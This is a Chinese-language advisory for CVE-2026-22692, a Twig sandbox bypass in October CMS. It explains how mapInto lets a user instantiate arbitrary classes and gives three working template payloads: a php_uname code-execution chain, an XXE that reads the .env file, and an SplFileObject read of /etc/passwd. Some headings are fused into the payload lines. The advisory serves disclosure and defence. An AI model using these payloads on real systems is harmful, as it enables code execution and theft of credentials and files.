| 字段 | 详情 |
|---|---|
| CVE 编号 | CVE-2026-22692 |
| 严重性 | 中等 (CVSS:3.1 4.9) |
| 公告 | GHSA-m5qg-jc75-4jp6 |
| 受影响产品 | October CMS (<= 4.1.4, <= 3.7.12) |
| 漏洞类型 | Twig 沙箱绕过 -> RCE, LFI, XXE |
| 发现者 | Lukasz Rybak |
October CMS Twig 沙箱(安全模式)中存在一个严重漏洞,允许拥有模板编辑权限的认证用户绕过安全限制,从服务器执行任意 PHP 代码(RCE)或读取任意文件(XXE/LFI)。
根本原因位于 October\Rain\Support\SafeCollection 中。该类实现了 CallsAnyMethod 接口,该接口指示 System\Twig\SecurityPolicy 绕过对集合对象本身的标准方法白名单。
虽然 SafeCollection 试图过滤参数以防止直接执行可调用对象,但它并未阻止 mapInto($class) 方法。mapInto 方法遍历集合并实例化提供的类名:
new $class($value, $key);
这使得攻击者可以实例化应用程序已知的任何类。
System\Twig\SecurityPolicy 显式地将 __toString() 方法添加到所有对象的白名单中。通过实例化 Psy\Readline\Hoa\Xcallable(它包装了一个可调用对象)并将其包装在 GuzzleHttp\Psr7\FnStream(它通过 _fn___toString 属性在其 __toString 方法中调用用户定义的函数)中,攻击者只需在 Twig 中打印该对象即可触发执行任意不需要参数的 PHP 函数(例如 php_uname、phpinfo)。
SimpleXMLElement 类接受一个 libxml 选项标志作为其第二个构造函数参数。mapInto() 将集合键作为第二个参数传递给构造函数。通过创建一个键为 2(对应于 LIBXML_NOENT)的集合,攻击者可以在 SimpleXMLElement 中启用外部实体替换,从而导致立即的 XXE 并能够读取系统文件。
使用原生 PHP 的 SplFileObject 类存在一个更直接的本地文件包含(LFI)漏洞。通过使用文件路径和读取模式(通过 mapInto 传递)实例化 SplFileObject,攻击者可以获得一个可遍历的文件对象。将此对象传递给 collect() 辅助函数会触发立即迭代(通过框架核心内部的 iterator_to_array),从而绕过沙箱的方法阻止策略。这允许读取 Web 服务器可访问的任何文件,无需 XML 支持或特定供应商库。
CMS_SAFE_MODE=truephp_uname){% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}
{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}
{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}
System Info: {{ f }}
.env 文件){% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}
{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}
FILE CONTENT (.env):
{{ x }}
SplFileObject 读取 /etc/passwd){% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}
LFI Result:
{{ content.join('') }}
远程代码执行(RCE)、本地文件包含(LFI)、XML 外部实体注入(XXE)。
SimpleXMLElement 或 SplFileObject)读取 Web 用户可访问的服务器文件系统上的任何文件(包括 /etc/passwd、数据库配置、.env 等)。这影响任何不受信任或半受信任用户可访问 CMS 模板编辑器的 October CMS 安装,从而允许他们将权限提升至系统管理员/根级别逻辑。
此 CVE 已按照协调漏洞披露实践进行负责任地披露。此处提供的信息仅供教育和防御目的。